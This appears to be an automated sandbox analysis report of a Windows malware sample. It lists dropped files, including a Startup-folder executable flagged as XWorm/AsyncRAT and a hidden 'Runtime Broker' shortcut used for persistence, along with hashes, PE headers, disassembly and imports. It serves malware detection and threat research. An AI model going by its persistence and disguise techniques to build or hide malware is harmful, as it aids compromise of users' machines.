Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	41
Entropy (8bit):	3.7195394315431693
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr4rNrn:EFYJKDoWrcBn
MD5:	0DB526D48DAB0E640663E4DC0EFE82BA
SHA1:	17AC435DAFEA6FF9F4D6F83FA6C54F9800F43724
SHA-256:	934290A76F9E1804069D8ED6515B14101D9D8ABA2EACBF5B260F59941C65340E
SHA-512:	FACD013E1B5B8163214CA8C3A18ADEEC3541153CD69240EEFA76DDD54809186E919C1D635AEA648A8641DE7C3216BEC11C41F04719B60F07EDFDC01FF79027B9
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]r[WIN]r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0mp3nu2q.qxs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qsvj1gf.xfo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2raie2df.itw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0h0czaf.tpf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dl0rknks.k5z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edtim3ke.rns.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gxshsnkd.1jy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jon3015y.wrs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jpp0aw5t.t0n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3jos4sw.3tv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mltc4tud.0y5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pollnnoj.ntq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qqbv5bvp.he5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_slfqho2y.e1j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u4fq0yir.cum.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yvf4i4c5.rnb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sun Oct 13 16:12:10 2024, mtime=Sun Oct 13 16:12:10 2024, atime=Sun Oct 13 16:12:10 2024, length=174080, window=hide
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.690419474617069
Encrypted:	false
SSDEEP:	12:84500UlGIwlCICHqXC/0cXx3ACmNYa8Qh6CaNjAw8XZ2Q8aekNv0hEC+44t2YZ/P:8ZtGbj1ZKQhhapAJZ8apv0hEC9qyFm
MD5:	58997236969EC1ADD46EF15D71EBE846
SHA1:	0CB320B3A4EC99E6DCEA9BDB3ED9510E2F1179F0
SHA-256:	F9E62662B3DB93104A000DA133070F427566BDC9A12D13EF05C9E4B9EC71534A
SHA-512:	55BE6A25AC2BC43DCA5140FD5A32A8062C4D9CCA097038D41F28ADE1275C3212C5D2279EBC89E51A91E6F389D01DF3BF191E16D9B4D831E879830EA5914AE463
Malicious:	false
Preview:	L..................F.... .....#.......f.......#..................................P.O. .:i.....+00.../C:\...................x.1.....CW;^..Users.d......OwHMY\.....................:.....K...U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1.....CW!H..Public..f......O.IMYW.....+...............<.....r.E.P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....f.2.....MY.. .RUNTIM~1..N......MY..MY................................R.u.n.t.i.m.e. .B.r.o.k.e.r.......M...............-.......L...........e.,......C:\Users\Public\Runtime Broker..-.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.R.u.n.t.i.m.e. .B.r.o.k.e.r.............!............v..*.cM.jVD.Es.!...`.......X.......878411...........hT..CrF.f4... .#..7.....,.......hT..CrF.f4... .#..7.....,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat

Download File

Process:	C:\Users\user\Desktop\80BvHOM51j.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:o:o
MD5:	69691C7BDCC3CE6D5D8A1361F22D04AC
SHA1:	C63AE6DD4FC9F9DDA66970E827D13F7C73FE841C
SHA-256:	08F271887CE94707DA822D5263BAE19D5519CB3614E0DAEDC4C7CE5DAB7473F1
SHA-512:	253405E03B91441A6DD354A9B72E040068B1BFE10E83EB1A64A086C05525D8CCAE2BF09130C624AF50D55C3522A4FBB7C18CFC8DD843E5F4801D9AD2B5164B12
Malicious:	false
Preview:	M

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Download File

Process:	C:\Users\user\Desktop\80BvHOM51j.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	174080
Entropy (8bit):	4.6925997112201365
Encrypted:	false
SSDEEP:	1536:oEYwMHUIf/NFDawQTQTwxz5qbTrfKT3B6UlotQFO5uSyEIE4:xl4NFhQiw15qbTevWqO5HhIE4
MD5:	A9D1FD427561A90037A112B99EDD9D14
SHA1:	A9B63FFBF0CA8B852C9B23955515684DF4F32DED
SHA-256:	F25374E1808122200507AE53DE2425884EF5C497CBD9D75A96E8ACC6C5AE5F4B
SHA-512:	8FCDBDECE6B2AF556E87F70B8621E68BFFDC17CFB98411343988BFBF9E16ACC5376D17568C63F88936FBC6E004E3A0E154F7C537691E4A66B02B5DCB88EA0F9E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81% Antivirus: Virustotal, Detection: 66%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5..g.............................)... ...@....@.. ....................................@..................................)..W....@............................................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc..............................@..B.................)......H........c..........&.....................................................(.....r...p. .O....(.....rS..p. .....s.........s.........s.........s..........r...p.r...p. K....rI..p. .}...r...p. ..e..r...p. ..v...((....r,..p. S....r~..p. .(h..(,...-.(-...,.+.(....,.+.(+...,.+.(...,..(a..."(....+.&(....&+..+5so... .... .'..op...(,...~....-.(b...(T...~....oq...&.-..r...p. Z...r2..p. .....r...p. ..?..r...p. .?N..r(..p. .\|...rz..p. ..2..r...p. .(

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\80BvHOM51j.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	592
Entropy (8bit):	2.2838619398241775
Encrypted:	false
SSDEEP:	6:I8hgOBtp8hgOB2yHSHRjTaldq71xlMBCjjE/ORnUZALgCCMh9:ICLpCYjTalotMBONRnUZuHrP
MD5:	62C6B12026E2C2F3645B04936649A4DF
SHA1:	149B8CAE9D87426785CB4A82C2D460C06FBBAEF6
SHA-256:	7F38A6E1056349A17D19CF5DE4760F50FAD9C6D71933B1DB24DFE656F0231FC9
SHA-512:	C3B344ECF560206FD6F89430660D13CCC713A45344D17BB74DABFB20CA16CE12705525E4B541D7D7B02F2AAED8C6209EBBAE2A8B362096FA7A3F43FA8747C0BE
Malicious:	false
Preview:	[+] successfully installed..[+] successfully installed.. ____ _ _ _ .. / ___\|\| \|_ ___\| \| \| __ _ _ __ .. \___ \\| __/ _ \ \| \|/ _` \| '__\|.. ___) \| \|\| __/ \| \| (_\| \| \| .. \|____/ \__\___\|_\|_\|\__,_\|_\| .... 1. Start generating.. 0. Exit..Your choice:

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.754513888458882
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	80BvHOM51j.exe
File size:	43'520 bytes
MD5:	2d4b0911cbb27ea9ef26908f3ce841ad
SHA1:	04f30253d2a6982a9ac39b94750012ec2b9a1f5e
SHA256:	2b89bba8e264ad85ed07127f63cc7a711e05867525e4143edddb06dc9bbf2f08
SHA512:	6492c364c03637aedb6b296abe0d3c2ee9e109ea92463395e733efc36a3a22236e2b1365bb5877c8c887fd71abec48ba99ce16c8b6689d448e93239efe889ab8
SSDEEP:	768:6fAQXbIAbVDUSA6cTug8oOMvx3ng8EEFifvsPH:HAVU/ig8oOMvpgmH
TLSH:	B013291B736E40E8D2AAE1BC855B4A57E3B27C0A433153CF039181A60F967C1AF7EB55
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#...M...M...M.......M..5N...M..5I...M..5H...M..5L...M...L...M...L...M..4D...M..4....M..4O...M.Rich..M.........PE..d......g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140005e98
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x670BCFE7 [Sun Oct 13 13:49:27 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	0dfbae3ffe2dfe4be7b5efcf624492c9

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FC218AE6A88h
dec eax
add esp, 28h
jmp 00007FC218AE64E7h
int3
int3
dec eax
sub esp, 28h
call 00007FC218AE70ECh
test eax, eax
je 00007FC218AE6693h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FC218AE6677h
dec eax
cmp ecx, eax
je 00007FC218AE6686h
xor eax, eax
dec eax
cmpxchg dword ptr [00005490h], ecx
jne 00007FC218AE6660h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FC218AE6669h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FC218AE6679h
mov byte ptr [00005479h], 00000001h
call 00007FC218AE6DD9h
call 00007FC218AE6AF8h
test al, al
jne 00007FC218AE6676h
xor al, al
jmp 00007FC218AE6686h
call 00007FC218AE6AEBh
test al, al
jne 00007FC218AE667Bh
xor ecx, ecx
call 00007FC218AE6AE0h
jmp 00007FC218AE665Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [00005440h], 00000000h
mov ebx, ecx
jne 00007FC218AE66D9h
cmp ecx, 01h
jnbe 00007FC218AE66DCh
call 00007FC218AE7062h
test eax, eax
je 00007FC218AE669Ah
test ebx, ebx
jne 00007FC218AE6696h
dec eax
lea ecx, dword ptr [0000542Ah]
call 00007FC218AE7110h
test eax, eax
jne 00007FC218AE6682h
dec eax
lea ecx, dword ptr [00005432h]
call 00007FC218AE6700h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8ee4	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xc000	0x618	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe000	0x94	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x7ab0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7970	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x480	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5feb	0x6000	55355479699fd9c256cb0801a7e34fbf	False	0.5220133463541666	data	6.098623004371383	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x35c6	0x3600	08e2716b486a0f9a79d5f84ba9205e3a	False	0.37680844907407407	COM executable for DOS	4.761765837799673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x978	0x400	27fd85241f93061e4004e8a94b1612e7	False	0.2197265625	DOS executable (block device driver)	3.114880833561306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xc000	0x618	0x800	34f04cea4fc65e0cbe59cb73a4330968	False	0.38037109375	PEX Binary Archive	3.5384288082031192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xd000	0x1e0	0x200	44e3d39532c9319314b3e7669556d25a	False	0.529296875	data	4.701503258251789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe000	0x94	0x200	c87eab5a590b0327111d65cb7d4120fd	False	0.2890625	data	2.034784991624018	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xd060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetModuleFileNameA, GetConsoleScreenBufferInfo, SetConsoleTextAttribute, GetStdHandle, SetFileAttributesW, Sleep, SetConsoleTitleW, GetCurrentThreadId, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetModuleHandleW
USER32.dll	GetAsyncKeyState
SHELL32.dll	ShellExecuteA, SHGetFolderPathA
